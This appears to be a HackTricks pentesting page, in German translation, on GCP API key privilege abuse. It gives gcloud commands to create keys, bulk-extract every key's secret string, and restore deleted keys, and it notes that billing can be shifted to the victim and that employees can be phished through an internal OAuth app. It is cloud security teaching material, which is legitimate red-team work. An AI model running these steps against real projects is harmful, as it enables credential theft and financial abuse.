GCP - Apikeys Privesc

Support HackTricks

Apikeys

Die folgenden Berechtigungen sind nützlich, um API-Schlüssel zu erstellen und zu stehlen, nicht dies aus den Dokumenten: Ein API-Schlüssel ist eine einfache verschlüsselte Zeichenfolge, die eine Anwendung ohne ein Prinzipal identifiziert. Sie sind nützlich, um öffentliche Daten anonym abzurufen, und werden verwendet, um API-Anfragen mit Ihrem Projekt für Quoten und Abrechnung zu verknüpfen.

Daher können Sie mit einem API-Schlüssel das Unternehmen für Ihre Nutzung der API bezahlen lassen, aber Sie werden keine Berechtigungen eskalieren können.

Für weitere Informationen zu API-Schlüsseln siehe:

GCP - API Keys Enum

Für andere Möglichkeiten zur Erstellung von API-Schlüsseln siehe:

GCP - Serviceusage Privesc

Brute Force API Key access

Da Sie möglicherweise nicht wissen, welche APIs im Projekt aktiviert sind oder welche Einschränkungen auf den gefundenen API-Schlüssel angewendet werden, wäre es interessant, das Tool https://github.com/ozguralp/gmapsapiscanner auszuführen und zu überprüfen, auf was Sie mit dem API-Schlüssel zugreifen können.

apikeys.keys.create

Diese Berechtigung erlaubt es, einen API-Schlüssel zu erstellen:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

Beachten Sie, dass Benutzer standardmäßig die Berechtigung haben, neue Projekte zu erstellen, und ihnen die Rolle "Owner" für das neue Projekt zugewiesen wird. Ein Benutzer könnte also ein Projekt und einen API-Schlüssel innerhalb dieses Projekts erstellen.

apikeys.keys.getKeyString , apikeys.keys.list

Diese Berechtigungen erlauben das Auflisten und Abrufen aller apiKeys und das Abrufen des Schlüssels:

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

Sie können ein Skript zur Automatisierung der Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier finden.

apikeys.keys.undelete , apikeys.keys.list

Diese Berechtigungen ermöglichen es Ihnen, gelöschte API-Schlüssel aufzulisten und wiederherzustellen. Der API-Schlüssel wird in der Ausgabe nach der Wiederherstellung angezeigt:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

Erstellen Sie eine interne OAuth-Anwendung, um andere Mitarbeiter zu phishen

Überprüfen Sie die folgende Seite, um zu erfahren, wie Sie dies tun können, obwohl diese Aktion zum Dienst clientauthconfig gehört laut den Dokumenten:

GWS - Google Platforms Phishing
Unterstützen Sie HackTricks

Last updated